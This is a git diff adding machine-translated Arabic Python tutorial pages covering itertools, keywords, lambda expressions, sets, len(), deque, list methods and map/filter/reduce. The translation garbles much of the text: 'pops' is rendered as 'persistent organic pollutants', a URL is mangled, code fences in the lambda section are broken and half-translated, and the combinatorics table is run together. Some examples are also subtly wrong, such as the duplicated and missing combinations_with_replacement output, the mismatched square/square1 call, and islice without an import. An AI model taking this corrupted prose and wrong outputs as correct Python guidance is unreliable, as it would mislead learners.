+Itertools هو وحدة بيثون من الوظائف التي تعيد المولدات ، الكائنات التي تعمل فقط عندما تتكرر. تتضمن بعض أمثلة وظائف itertool على سبيل المثال لا الحصر: سلسلة () و imap () و product () و compress ().
+
+### سلسلة()
+
+تأخذ الدالة chain () عدة متكررات كوسيطة وتعطي مكررًا واحدًا ينتج محتوياتها كلها كما لو أنها جاءت من تسلسل واحد.
+
+ `import itertools 
+ list(itertools.chain([1, 2], [3, 4])) 
+ 
+ # Output 
+ # [1, 2, 3, 4] 
+` 
+
+### islice ()
+
+ترجع الدالة islice () إلى تكرار الذي يعيد العناصر المحددة من مدخلات الإدخال ، حسب الفهرس. يأخذ نفس الوسيطات مثل عامل تشغيل الشرائح للقوائم: البدء والتوقف والخطوة. بدء وإيقاف اختيارية.
+
+ `import itertools 
+ list(itertools.islice(count(), 5)) 
+ 
+ # Output 
+ # [0,1, 2, 3, 4] 
+` 
+
+### izip ()
+
+تُرجع izip () أداة تكرار تجمع عناصر عدة وحدات تكرارية في مجموعات. يعمل مثل zip () وظيفة مدمجة ، إلا أنه يعيد مكررًا بدلاً من قائمة.
+
+ `import itertools 
+ list(izip([1, 2, 3], ['a', 'b', 'c'])) 
+ 
+ # Output 
+ # [(1, 'a'),(2, 'b'),(3, 'c')] 
+` 
+
+تكرارات Combinatoric:
+
+نتائج الحجج المتكررة منتج () p ، q ، ... \[repeat = 1\] منتج ديكارت ، أي ما يعادل حلقة متداخلة التباديل () p \[، r\] r-length tuples، all order possibleings، no repeat elements مجموعات (p) ، و r-length tuples ، بترتيب مفروز ، بدون عناصر متكررة مجموعات _مع_ بدائل () p، r-rups طول ، بترتيب مفرز ، مع عناصر متكررة product ('ABCD'، repeat = 2) AA AB AC AD BA BB BC BD CA CB CC CD DA DB DC DD permutations ('ABCD'، 2) AB AC AD BA BC BD CA CB CD DA DB DC
+
+مجموعات ('ABCD' ، 2) AB AC AD BC BD CD
+
+مجموعات _مع_ استبدال ('ABCD' ، 2) AA AB AC AD BB BB BD BD CD CD DD
+
+المصدر: الشبكي: //docs.python.org/3/library/itertools.html
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/keywords/index.md b/client/src/guide/arabic/python/keywords/index.md
new file mode 100644
index 0000000000..ec81a143f7
--- /dev/null
+++ b/client/src/guide/arabic/python/keywords/index.md
@@ -0,0 +1,22 @@
+---
+title: Python Keywords
+localeTitle: بايثون الكلمات الرئيسية
+---
+## بايثون الكلمات الرئيسية
+
+لدى Python قائمة [بالكلمات الرئيسية](https://docs.python.org/3/reference/lexical_analysis.html#keywords) التي لا يمكن استخدامها كمعرفات (أسماء المتغيرات). ستحاول محاولة استخدام أي من هذه الكلمات الرئيسية كمتغيرات إنشاء **خطأ في بناء الجملة** ولن يتم تشغيل البرنامج النصي Python الخاص بك:
+
+ `>>> False = "Hello campers!" 
+ File "<stdin>" 
+ SyntaxError: can't assign to keyword 
+ 
+ >>> break = "Hello campers!" 
+ File "<stdin>", line 1 
+    break = "Hello campers!" 
+            ^ 
+    SyntaxError: invalid syntax 
+` 
+
+#### قائمة الكلمات الرئيسية
+
+الكلمة الرئيسية - | - | - | - --- | --- | --- | --- | --- `False` | `class` `finally` `is` | `return` `None` | `continue` | `for` | `lambda` | `try` `True` | `def` | `from` | `nonlocal` | `while` `and` | `del` | `global` | `not` `with` `as` | `elif` | `if` | `or` | `yield` `assert` `else` `import` | `pass` `break` `except` | `in` | `raise`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/lambda-expressions/index.md b/client/src/guide/arabic/python/lambda-expressions/index.md
new file mode 100644
index 0000000000..ce59a23d5e
--- /dev/null
+++ b/client/src/guide/arabic/python/lambda-expressions/index.md
@@ -0,0 +1,89 @@
+---
+title: Lambda Expressions
+localeTitle: تعبيرات لامدا
+---
+## تعبيرات لامدا
+
+تستخدم Lambda Expressions بشكل مثالي عندما يكون لدينا شيء بسيط يمكن القيام به ، فنحن مهتمون أكثر بإنجاز المهمة بسرعة بدلاً من تسمية الوظيفة بشكل رسمي. تعرف تعبيرات لامدا أيضًا بالوظائف المجهولة. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/python/lambda-expressions/index.md) .
+
+تعبيرات Lambda في Python هي طريقة قصيرة لإعلان وظائف صغيرة ومجهولة (ليس من الضروري توفير اسم لوظائف lambda). وظائف Lambda تتصرف مثل الوظائف العادية المعلنة `def` المفتاحية. أنها تأتي في متناول اليدين عندما تريد تحديد وظيفة صغيرة بطريقة موجزة. يمكن أن تحتوي على تعبير واحد فقط ، لذلك فهي ليست الأنسب للوظائف مع عبارات تدفق التحكم. رئيس
+
+#### بناء جملة دالة لامبدا
+
+`lambda arguments: expression`
+
+يمكن أن تحتوي دالات Lambda على أي عدد من الوسيطات ولكن فقط تعبير واحد
+
+#### كود المثال
+
+ `# Lambda function to calculate square of a number 
+ square = lambda x: x ** 2 
+ print(square(3)) # Output: 9 
+ 
+ # Traditional function to calculate square of a number 
+ def square1(num): 
+  return num ** 2 
+ print(square(5)) # Output: 25 
+` 
+
+في المثال lambda أعلاه lambda `lambda x: x ** 2` ينتج كائن دالة مجهول يمكن ربطه بأي اسم. لذا ، قمنا بربط كائن الدالة مع `square` وبالتالي من الآن فصاعداً يمكننا استدعاء الكائن `square` مثل أي وظيفة تقليدية. مثل `square(10)`
+
+## أمثلة
+
+### مبتدئ
+
+ `lambda_func = lambda x: x**2 # Function that takes an integer and returns its square 
+ lambda_func(3) # Returns 9 
+` 
+
+### متوسط
+
+ `lambda_func = lambda x: True if x**2 >= 10 else False 
+ lambda_func(3) # Returns False 
+ lambda_func(4) # Returns True 
+` 
+
+### مركب
+
+ `my_dict = {"A": 1, "B": 2, "C": 3} 
+ sorted(my_dict, key=lambda x: my_dict[x]%3) # Returns ['C', 'A', 'B'] 
+` 
+
+### حالة الاستخدام
+
+لنفترض أنك تريد تصفية الأرقام الفردية من `list` . يمكنك استخدام حلقة `for` :
+
+ `my_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] 
+ filtered = [] 
+ 
+ for num in my_list: 
+     if num % 2 != 0: 
+         filtered.append(num) 
+ 
+ print(filtered)      # Python 2: print filtered 
+ # [1, 3, 5, 7, 9] 
+ ``` 
+ 
+ You could write this as a one liner with list-comprehensions 
+` 
+
+الثعبان filtered = \[x for x in \[1، 2، 3، 4، 5، 6، 7، 8، 9، 10\] if x٪ 2! = 0\] \`\` \`
+
+ولكن قد تميل إلى استخدام وظيفة `filter` المضمنة. لماذا ا؟ المثال الأول هو قليلاً للتطويق ، يمكن أن يكون من الصعب فهم الخط الواحد ، حيث يقدم `filter` أفضل ما في الكلمتين. ما هو أكثر من ذلك ، عادة ما تكون الوظائف المضمنة أسرع.
+
+\`\` \`الثعبان my\_list = \[1 ، 2 ، 3 ، 4 ، 5 ، 6 ، 7 ، 8 ، 9 ، 10\]
+
+filtered = filter (lambda x: x٪ 2! = 0، my\_list)
+
+قائمة (تصفية)
+
+# \[1 ، 3 ، 5 ، 7 ، 9\]
+
+` `` NOTE: in Python 3 built in function return generator objects, so you have to call` معادة ` `` NOTE: in Python 3 built in function return generator objects, so you have to call` القائمة `, while in Python 2 they return a` قائمة `,` مجموعة `or` سلسلة.
+
+ماذا حدث؟ لقد أخبرت `filter` أن تأخذ كل عنصر في `my_list` وتطبيق تعبيرات lambda. يتم تصفية القيم التي تُرجع `False` .
+
+#### معلومات اكثر:
+
+*   [الوثيقة الرسمية](https://docs.python.org/3/reference/expressions.html#lambda)
+*   [اقرأ المزيد](https://dbader.org/blog/python-lambda-functions)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/learn-about-python-sets/index.md b/client/src/guide/arabic/python/learn-about-python-sets/index.md
new file mode 100644
index 0000000000..071e9b6583
--- /dev/null
+++ b/client/src/guide/arabic/python/learn-about-python-sets/index.md
@@ -0,0 +1,32 @@
+---
+title: Learn About Python Sets
+localeTitle: تعرف على مجموعات بايثون
+---
+`Set` s في Python هي نوع من بنية البيانات القابلة للتغيير ولكنها غير مرتبة ، والتي يمكن أن تحتوي فقط على عناصر _فريدة_ .
+
+**خلق:**
+
+`set` حرفية:
+
+_لا_ يمكن استخدام الأقواس المتعرجة ، `{}` ، لإنشاء مجموعة فارغة:
+
+ `>>> not_set = {}     # set constructor must be used to make empty sets. 
+ >>> type(not_set)    # Empty curly brackets create empty dictionaries. 
+ <class 'dict'> 
+` 
+
+يمكنك فقط إنشاء مجموعة فارغة باستخدام طريقة `set()` .
+
+ `>>> example_set = set() 
+ >>> type(example_set) 
+ <class 'set'> 
+` 
+
+ومع ذلك ، إذا تم تضمين العناصر داخل الأقواس المتعرجة ، فسيكون بناء الجملة مقبولًا لإنشاء مجموعة.
+
+ `>>> example_set_2 = {1, 2, 3} 
+ >>> type(example_set_2) 
+ <class 'set'> 
+` 
+
+\`
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/len-function/index.md b/client/src/guide/arabic/python/len-function/index.md
new file mode 100644
index 0000000000..9cce6588d6
--- /dev/null
+++ b/client/src/guide/arabic/python/len-function/index.md
@@ -0,0 +1,32 @@
+---
+title: Python Len Function
+localeTitle: بيثون لين وظيفة
+---
+`len()` هي دالة مضمنة في Python 3. تقوم هذه الطريقة بإرجاع طول (عدد العناصر) لكائن ما. يستغرق حجة واحدة `x` .
+
+## الحجج
+
+يستغرق حجة واحدة ، `x` . قد تكون هذه الوسيطة عبارة عن تسلسل (مثل سلسلة أو وحدات بايت أو مجموعة حروف أو قائمة أو نطاق) أو مجموعة (مثل قاموس أو مجموعة أو مجموعة مجمدة).
+
+## قيمة الإرجاع
+
+هذه الدالة تقوم بإرجاع عدد العناصر في الوسيطة التي تم تمريرها إلى الدالة `len()` .
+
+## عينة الكود
+
+ `list1 = [123, 'xyz', 'zara'] # list 
+ print(len(list1)) # prints 3 as there are 3 elements in the list1 
+ 
+ str1 = 'basketball' # string 
+ print(len(str1)) # prints 10 as the str1 is made of 10 characters 
+ 
+ tuple1 = (2, 3, 4, 5) # tuple 
+ print(len(tuple1)) # prints 4 as there are 4 elements in the tuple1 
+ 
+ dict1 = {'name': 'John', 'age': 4, 'score': 45} # dictionary 
+ print(len(dict1)) # prints 3 as there are 3 key and value pairs in the dict1 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CUmt/15)
+
+[المستندات الرسمية](https://docs.python.org/3/library/functions.html#len)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/list-deque/index.md b/client/src/guide/arabic/python/list-deque/index.md
new file mode 100644
index 0000000000..603a7ee561
--- /dev/null
+++ b/client/src/guide/arabic/python/list-deque/index.md
@@ -0,0 +1,31 @@
+---
+title: Deque
+localeTitle: و
+---
+## استخدام قائمة كقوائم انتظار
+
+من الممكن أيضًا استخدام قائمة كقائمة انتظار ، حيث يلزم إجراء عملية FIFO ("أول دخول ، أول"). القوائم ليست فعالة كقائمة انتظار أثناء استخدام إلحاقات و الملوثات العضوية الثابتة ، كما يمكن أن يكون بطيء كما سيتم تحويل كافة العناصر بواسطة واحد لكل إلحاق / الملوثات العضوية الثابتة.
+
+لتنفيذ قائمة انتظار ، استخدم collections.deque الذي تم تصميمه ليكون له إلحاق سريع وملوثات من كلا الطرفين.
+
+#### مثال للاستخدام
+
+ `from collections import deque 
+ queue = deque(["January", "February", "March", "April"] ) 
+ 
+ queue.append("May") 
+ 
+ queue.popleft() 
+ queue.popleft() 
+ 
+ print "Spring months in the list: ", queue 
+` 
+
+#### انتاج |
+
+ `Spring months in the list:  deque(['March', 'April', 'May']) 
+` 
+
+#### معلومات اكثر:
+
+الوثائق الرسمية ل `collections.deque` يمكن العثور عليها [هنا](https://docs.python.org/3/library/collections.html#collections.deque)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/lists/index.md b/client/src/guide/arabic/python/lists/index.md
new file mode 100644
index 0000000000..1031ac0f82
--- /dev/null
+++ b/client/src/guide/arabic/python/lists/index.md
@@ -0,0 +1,116 @@
+---
+title: Lists
+localeTitle: قوائم
+---
+**`list` المهام: `list` المعلومات الأساسية**
+
+[بيثون مستندات - قوائم](https://docs.python.org/3/library/stdtypes.html#lists)
+
+**خلق:**
+
+يتم إنشاء `list` فارغة باستخدام زوج من الأقواس المربعة:
+
+ `>>> empty_list = [] 
+ >>> type(empty_list) 
+ <class 'list'> 
+ >>> len(empty_list) 
+ 0 
+` 
+
+يمكن إنشاء `list` بعناصر من خلال تضمين قائمة عناصر مفصولة بفواصل مع أقواس مربعة. تسمح القوائم بأن تكون العناصر من أنواع مختلفة (غير متجانسة) ولكنها الأكثر شيوعًا من نوع واحد (متجانس):
+
+ `>>> homogeneous_list = [1, 1, 2, 3, 5, 8] 
+ >>> type(homogeneous_list) 
+ <class 'list'> 
+ >>> print(homogeneous_list) 
+ [1, 1, 2, 3, 5, 8] 
+ >>> len(homogeneous_list) 
+ 6 
+ >>> heterogeneous_list = [1, "Hello Campers!"] 
+ >>> print(heterogeneous_list) 
+ [1, "Hello Campers!"] 
+ >>> len(heterogeneous_list) 
+ 2 
+` 
+
+يمكن أيضًا استخدام مُنشئ `list` لإنشاء `list` :
+
+ `>>> empty_list = list()                            # Creates an empty list 
+ >>> print(empty_list) 
+ [] 
+ >>> list_from_iterable = list("Hello campers!")    # Creates a list from an iterable. 
+ >>> print(list_from_iterable) 
+ ['H', 'e', 'l', 'l', 'o', ' ', 'c', 'a', 'm', 'p', 'e', 'r', 's', '!'] 
+` 
+
+**الوصول إلى عناصر `list` :**
+
+ `>>> my_list = [1, 2, 9, 16, 25] 
+ >>> print(my_list) 
+ [1, 2, 9, 16, 25] 
+` 
+
+_صفر مفهرسة_
+
+ `>>> my_list[0] 
+ 1 
+ >>> my_list[1] 
+ 2 
+ >>> my_list[2] 
+ 9 
+` 
+
+_التفاف حول الفهرسة_
+
+ `>>> my_list[-1] 
+ 25 
+ >>> my_list[-2] 
+ 16 
+` 
+
+_تفريغ قوائم python-3_
+
+ `>>> print(*my_list) 
+ 1 2 9 16 25 
+` 
+
+**متقلب:**
+
+`lists` هي حاويات قابلة للتغيير. الحاويات القابلة للتبديل هي حاويات تسمح بالتغييرات التي يتم احتواؤها على الكائنات بواسطة الحاوية. **TODO: إضافة المزيد؟**
+
+_إعادة ترتيب العناصر في قائمة_
+
+يمكن استخراج عناصر من `list` وإعادة ترتيبها باستخدام `list` أخرى كمؤشر.
+
+ `>>> my_list = [1, 2, 9, 16, 25, 34, 53, 21] 
+ >>> my_index = [5, 2, 0] 
+ >>> my_new_list = [my_list[i] for i in my_index] 
+ >>> print(my_new_list) 
+ [34, 9, 1] 
+` 
+
+**TODO: أي من هذه الأسئلة يجب مناقشته هنا:**
+
+[Python Docs - المزيد على القوائم](https://docs.python.org/3/tutorial/datastructures.html#more-on-lists)
+
+*   `list.append(x)` إضافة عنصر إلى نهاية القائمة. أي ما يعادل a \[len (a):\] = \[x\].
+    
+*   `list.extend(L)` بتوسيع القائمة عن طريق إلحاق جميع العناصر الموجودة في القائمة المحددة. أي ما يعادل a \[len (a):\] = L.
+    
+*   `list.insert(i, x)` إدراج عنصر في موضع معين. الوسيطة الأولى هي فهرس العنصر الذي يجب إدخاله ، بحيث يتم إدراج a.insert (0، x) في مقدمة القائمة ، و a.insert (len (a)، x) يساوي a.append ( خ).
+    
+*   `list.remove(x)` إزالة العنصر الأول من القائمة التي تكون قيمتها x. إنه خطأ إذا لم يكن هناك مثل هذا البند.
+    
+*   `list.pop([i])` أزل العنصر في الموضع المحدد في القائمة `list.pop([i])` . إذا لم يتم تحديد أي فهرس ، يقوم a.pop () بإزالة وإرجاع العنصر الأخير في القائمة. (تشير الأقواس المربعة حول الحرف i في توقيع الطريقة إلى أن المعلمة اختيارية ، وليس أنه يجب عليك كتابة أقواس مربعة في ذلك الموضع. سترى هذا الترميز بشكل متكرر في مرجع مكتبة Python.)
+    
+*   `list.clear()` قم بإزالة كل العناصر من القائمة. أي ما يعادل del a \[:\].
+    
+*   `list.index(x)` الفهرس في قائمة العنصر الأول الذي تكون قيمته x. إنه خطأ إذا لم يكن هناك مثل هذا البند.
+    
+*   `list.count(x)` عدد مرات ظهور x في القائمة.
+    
+*   `list.sort(key=None, reverse=False)` عناصر القائمة في مكانها (يمكن استخدام الوسيطات لتخصيص الفرز ، راجع الفرز () لشرحها).
+    
+*   `list.reverse()` عناصر القائمة في المكان.
+    
+*   `list.copy()` نسخة ضحلة من القائمة. أي ما يعادل \[:\].
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/lists/list-append-method/index.md b/client/src/guide/arabic/python/lists/list-append-method/index.md
new file mode 100644
index 0000000000..6e55a2bfbd
--- /dev/null
+++ b/client/src/guide/arabic/python/lists/list-append-method/index.md
@@ -0,0 +1,25 @@
+---
+title: List Append Method
+localeTitle: قائمة طريقة إلحاق
+---
+## قائمة طريقة إلحاق
+
+هناك العديد من الطرق للقوائم ، يمكنك استكشاف كل منهم عن طريق كتابة `help(list)` في وحدة التحكم الخاصة بك python. واحد منهم هو وظيفة الإلحاق ، كما يقول الاسم يلحق قائمة حجة معينة.
+
+#### مثال للاستخدام
+
+ `words = ["I", "love", "Python"] 
+ words.append("very much") 
+ print(words) 
+` 
+
+#### انتاج |
+
+ `["I", "love", "Python", "very much"] 
+` 
+
+كما قد تلاحظ أن العنصر `"very much"` يتم إلحاقه بالقائمة.
+
+#### معلومات اكثر:
+
+يمكن العثور على الوثائق الرسمية `append()` [هنا](https://docs.python.org/3.6/tutorial/datastructures.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/lists/list-comprehension/index.md b/client/src/guide/arabic/python/lists/list-comprehension/index.md
new file mode 100644
index 0000000000..36dc17e5c9
--- /dev/null
+++ b/client/src/guide/arabic/python/lists/list-comprehension/index.md
@@ -0,0 +1,107 @@
+---
+title: List Comprehension
+localeTitle: قائمة الفهم
+---
+## قائمة الفهم
+
+يعد "الفهم بالقائمة" طريقة للتكرار من خلال قائمة لإنتاج قائمة جديدة تعتمد على بعض الشروط. يمكن أن يكون الأمر مربكًا في البداية ولكن بمجرد أن تتأقلم مع الصيغة ، فهي قوية جدًا وسريعة.
+
+الخطوة الأولى في تعلم كيفية استخدام فهم القائمة هي النظر إلى الطريقة التقليدية للتكرار من خلال قائمة. فيما يلي مثال بسيط يقوم بإرجاع قائمة جديدة بالأرقام الزوجية.
+
+ `# Example list for demonstration 
+ some_list = [1, 2, 5, 7, 8, 10] 
+ 
+ # Empty list that will be populate with a loop 
+ even_list = [] 
+ 
+ for number in some_list: 
+  if number % 2 == 0: 
+    even_list.append(number) 
+ 
+ # even_list now equals [2, 8, 10] 
+` 
+
+أولا يتم إنشاء قائمة مع بعض الأرقام. تقوم بعد ذلك بإنشاء قائمة فارغة ستحمل نتائجك من الحلقة. في الحلقة ، تحقق مما إذا كان كل رقم قابل للقسمة على 2 ، وفي هذه الحالة ، يمكنك إضافته إلى even\_list. استغرق هذا خمسة أسطر من الشفرة لا تشمل التعليقات والمساحة البيضاء التي ليست كثيرة في هذا المثال.
+
+الآن على سبيل المثال فهم القائمة.
+
+ `# Example list for demonstration 
+ some_list = [1, 2, 5, 7, 8, 10] 
+ 
+ # List Comprehension 
+ even_list = [number for number in some_list if number % 2 == 0] 
+ 
+ # even_list now equals [2, 8, 10] 
+` 
+
+مثال آخر ، مع نفس الخطوتين: سيؤدي ما يلي إلى إنشاء قائمة بالأرقام التي تتوافق مع الأرقام الموجودة في `my_starting_list` مضروبة في 7.
+
+ `my_starting_list = [1, 2, 3, 4, 5, 6, 7, 8] 
+ my_new_list = [] 
+ 
+ for item in my_starting_list: 
+ my_new_list.append(item * 7) 
+` 
+
+عند تشغيل هذا الرمز ، تكون القيمة النهائية لـ `my_new_list` هي: `[7, 14, 21, 28, 35, 42, 49, 56]`
+
+يمكن لمطوّر البرامج الذي يستخدم فهم القوائم تحقيق النتيجة نفسها باستخدام فهم القائمة التالي ، مما يؤدي إلى نفس `my_new_list` .
+
+ `my_starting_list = [1, 2, 3, 4, 5, 6, 7, 8] 
+ 
+ my_new_list = [item * 7 for item in my_starting_list] 
+` 
+
+هناك صيغة بسيطة للكتابة بطريقة فهم قائمة هي:
+
+`my_list = [{operation with input n} for n in {python iterable}]`
+
+استبدل `{operation with input n}` مع أنك تريد تغيير العنصر الذي تم إرجاعه من التكرار. يستخدم المثال أعلاه `n * 7` ولكن يمكن أن تكون العملية بسيطة أو معقدة حسب الضرورة.
+
+استبدل `{python iterable}` بأي طريقة قابلة للتكرار. ستكون [أنواع التسلسل](https://guide.freecodecamp.org/python/sequence-types) أكثر شيوعًا. تم استخدام قائمة في المثال أعلاه ، لكن الصفوف والنطاقات شائعة أيضًا.
+
+يضيف الفهم قائمة عنصر من قائمة موجودة إلى قائمة جديدة إذا تم استيفاء بعض الشرط. إنه أكثر إتقانا ، ولكنه أيضا أسرع بكثير في معظم الحالات. في بعض الحالات ، قد يعوق فهم القائمة إمكانية القراءة ، لذا يجب أن يوازن الشخص الطيار خياراته عند اختيار استخدام فهم القائمة.
+
+## أمثلة على الفهم بالقائمة الشرطية
+
+يمكن التحكم في تدفق السيطرة في فهم القوائم باستخدام الشروط الشرطية. ل exmaple:
+
+ `only_even_list = [i for i in range(13) if i%2==0] 
+` 
+
+هذا يكافئ الحلقة التالية:
+
+ `only_even_list = list() 
+ for i in range(13): 
+  if i%2 == 0: 
+    only_even_list.append(i) 
+` 
+
+يمكن للفهم قائمة تحتوي أيضا متداخلة إذا كانت الظروف. خذ بعين الاعتبار الحلقة التالية:
+
+ `divisible = list() 
+ for i in range(50): 
+  if i%2 == 0: 
+    if i%3 == 0: 
+      divisible.append(i) 
+` 
+
+باستخدام فهرسة القوائم ، يمكن كتابة هذا على النحو التالي:
+
+ `divisible = [i for i in range(50) if i%2==0 if i%3==0] 
+` 
+
+يمكن استخدام عبارة If-Else أيضًا مع فهم القائمة.
+
+ `list_1 = [i if i%2==0 else i*-1 for i in range(10)] 
+` 
+
+#### معلومات اكثر:
+
+[بايثون هياكل البيانات - قوائم](https://docs.python.org/2.7/tutorial/datastructures.html)
+
+[بايثون للحلقات](https://guide.freecodecamp.org/python/for-loop-statements)
+
+[قوائم بايثون](https://guide.freecodecamp.org/python/learn-about-python-lists)
+
+[بايثون للمبتدئين - قائمة الفهم](http://www.pythonforbeginners.com/basics/list-comprehensions-in-python)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/lists/list-extend-method/index.md b/client/src/guide/arabic/python/lists/list-extend-method/index.md
new file mode 100644
index 0000000000..b6b802574e
--- /dev/null
+++ b/client/src/guide/arabic/python/lists/list-extend-method/index.md
@@ -0,0 +1,24 @@
+---
+title: List Extend Method
+localeTitle: قائمة تمديد الأسلوب
+---
+## قائمة تمديد الأسلوب
+
+هناك العديد من الطرق للقوائم ، يمكنك استكشاف كل منهم عن طريق كتابة `help(list)` في وحدة التحكم الخاصة بك python. واحد منهم هو وظيفة التمديد ، كما يقول الاسم يمد القائمة عن طريق إضافة جميع عناصر القائمة (التي تم تمريرها كوسيطة) إلى النهاية.
+
+#### مثال للاستخدام
+
+ `cities = ["San Francisco", "Los Angeles", "New York"] 
+ cities_in_texas = ["San Antonio", "Austin", "Dallas"] 
+ cities.extend(cities_in_texas) 
+ print(cities) 
+` 
+
+#### انتاج |
+
+ `["San Francisco", "Los Angeles", "New York", "San Antonio", "Austin", "Dallas"] 
+` 
+
+#### معلومات اكثر:
+
+يمكن العثور على الوثائق الرسمية `extend()` [هنا](https://docs.python.org/3.6/tutorial/datastructures.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/lists/list-index-method/index.md b/client/src/guide/arabic/python/lists/list-index-method/index.md
new file mode 100644
index 0000000000..ef7ffc8c39
--- /dev/null
+++ b/client/src/guide/arabic/python/lists/list-index-method/index.md
@@ -0,0 +1,56 @@
+---
+title: List Index Method
+localeTitle: طريقة قائمة الفهرس
+---
+## طريقة قائمة الفهرس
+
+من بين العديد من الوظائف التي تأتي مع بنية بيانات القائمة ، يقوم `index()` بإرجاع التواجد / الفهرس الأول للعنصر في القائمة المعطاة كوسيطة للدالة.
+
+القوائم هي بنية بيانات Python الأساسية وتخزن قائمة بالقيم بالترتيب (بالمقارنة مع القواميس ، التي لا يهم أمرها). نحن استرجاع العناصر عن طريق مؤشر رقمي.
+
+مع الأخذ في الاعتبار أن الفهرسة تبدأ من 0 ، أو أن العنصر الأول مأخوذ في الرقم 0 ، دعنا نلقي نظرة على بعض الأمثلة.
+
+#### مثال للاستخدام:
+
+ `numbers = [1, 2, 2, 3, 9, 5, 6, 10] 
+ words = ["I", "love", "Python", "I", "love"] 
+ 
+ print(numbers.index(9)) 
+ print(numbers.index(2)) 
+ print(words.index("I")) 
+ print(words.index("am")) 
+` 
+
+##### انتاج:
+
+ `4 
+ 1 
+ 0 
+ Traceback (most recent call last): 
+  File "<stdin>", line 1, in <module> 
+ ValueError: 'am' is not in list 
+` 
+
+هنا يكون الناتج الأول واضحًا جدًا ، ولكن قد يبدو الثاني والثالث محيكين في البداية. لكن تذكر أن `index()` يعرض التواجد الأول للعنصر ، ومن ثم في هذه الحالة ، يكون `1` و `0` هما المؤشرين حيث `2` و `"I"` تحدثان أولاً في القوائم على التوالي.
+
+أيضا ، إذا لم يتم العثور على عنصر في القائمة ، يتم إرجاع `ValueError` كما في حالة الفهرسة `"am"` في قائمة `words` .
+
+#### الوسيطات الاختيارية:
+
+يمكنك أيضًا استخدام وسيطات اختيارية لتقييد بحثك على نسبة معينة من القائمة كما هو موضح في هذا المثال:
+
+ `words = ["I","am", "a", "I", "am", "Pythonista"] 
+ 
+ print(words.index("am",2,5)) 
+` 
+
+##### انتاج:
+
+ `4 
+` 
+
+على الرغم من أنه يتم البحث عن العنصر بين الفهرس 2 (ضمنا) و 5 (غير شامل) ولكن يتم حساب الفهرس المرتجع بالنسبة لبداية القائمة الكاملة بدلاً من وسيطة البدء.
+
+#### معلومات اكثر:
+
+يمكن العثور على الوثائق الرسمية `index()` [هنا](https://docs.python.org/3.6/tutorial/datastructures.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/lists/list-map-filter-reduce/index.md b/client/src/guide/arabic/python/lists/list-map-filter-reduce/index.md
new file mode 100644
index 0000000000..0ddf056e19
--- /dev/null
+++ b/client/src/guide/arabic/python/lists/list-map-filter-reduce/index.md
@@ -0,0 +1,84 @@
+---
+title: Map, Reduce, Filter
+localeTitle: خريطة ، تقليل ، تصفية
+---
# خريطة وخفض وتصفية
+
+يعمل معظم المهندسين بقوائم لمعالجة قائمة الطلبات / المستخدمين الخ. يمكن أن تصبح قوائم تحليل معقدة وفوضى بسرعة في حالة استخدام الحلقات المتعددة والحلقات المتداخلة. وبالتالي يمكن لهذه الطرق المذكورة أعلاه تبسيط استخدام عمليات القائمة.
+
+## خريطة
+
+إذا كانت مهمتك هي تطبيق طريقة محددة لكل عنصر من عناصر القائمة ، فستكون الخريطة في متناول اليد. لنقل ، لديك قائمة بقيم الدرجة وترغب في تحويل كل هذه القيم إلى قائمة قيم في وحدات فهرنهايت.
+
+#### مثال للاستخدام
+
+ `inputs = [10,32,5,40,25] 
+ 
+ def degreesToFahren(deg): 
+    fahrenheit = (9.0/5)*deg +32 
+    return fahrenheit 
+ 
+ # The most common way of doing this 
+ result=[] 
+ for i in inputs: 
+    iTofahren = degreesToFahren(i) 
+    result.append(iTofahren) 
+ print(result)   # [50.0, 89.6, 41.0, 104.0, 77.0] 
+` 
+
+ `# Using Map 
+ result = list(map(degreesToFahren,inputs)) 
+ print(result) # [50.0, 89.6, 41.0, 104.0, 77.0] 
+` 
+
+كما لاحظت ، فإن استخدام الخريطة هو ببساطة عملية واحدة. بشكل عام ، إذا كان لديك بيانات = `[a1,a2,...,an]` و a `[a1,a2,...,an]` ووظيفة `f()` ، ثم `map(f,data):` بإرجاع المكرر على `f(a1),f(a2)...f(an).` استخدم `list()` لتحويل كائن الكود إلى قائمة python.
+
+## منقي
+
+تقوم وظيفة التصفية بإزالة البيانات الموجودة في القائمة التي تحتاجها / لا تحتاج إليها ، ومن ثم الاسم. لنفترض أنك تريد تصفية قائمة استنادًا إلى القيم التي لا تحتاج إليها ، على سبيل المثال القيم أعلاه 2.
+
+#### مثال للاستخدام
+
+ `data = [1.2,2.5,5.8,0.4,4.7,9.9] 
+ result = list(filter(lambda x:x > 2,data)) 
+ print(result) 
+` 
+
+#### انتاج |
+
+ `[2.5, 5.8, 4.7, 9.9] 
+` 
+
+هذا هو أيضا 1 بطانة بسيطة مشابهة للخريطة () وظيفة أعلاه. الرجوع إلى البرنامج التعليمي على وظائف lambda إذا وجدت هذا المصطلح غير مألوف.
+
+## خفض
+
+من مبدع بايثون ، جويدو فان روسوم `"Use functools.reduce if you really need it; however, 99% of the time an explicit for loop is more readable"`
+
+ما يفعله بشكل عام هو تطبيق دالة `f()` على عناصر البيانات في قائمة واستخدام تلك النتيجة للقيمة التالية في القائمة. بصريا،
+
+البيانات = \[a 1 ، a 2 ،…، a n \] الوظيفة = f (x، y)
+
+الحد (و البيانات): الخطوة 1: val 1 = f (a 1 ، a 2 ) الخطوة 2: val 2 = f (val 1 ، a 3 ) الخطوة 3: val 3 = f (val 2 ، a 4 ) . . . الخطوة n-1: val n-1 = f (val n-2 ، a n )
+
+على سبيل المثال ، تريد ضرب كل الأرقام في قائمة.
+
+#### مثال للاستخدام
+
+ `from functools import reduce 
+ 
+ input = [1,2,3,4,5,6] 
+ multiplier = lambda x,y:x*y 
+ answer = reduce(multiplier,input) 
+ print(answer) 
+` 
+
+#### انتاج |
+
+ `720 
+` 
+
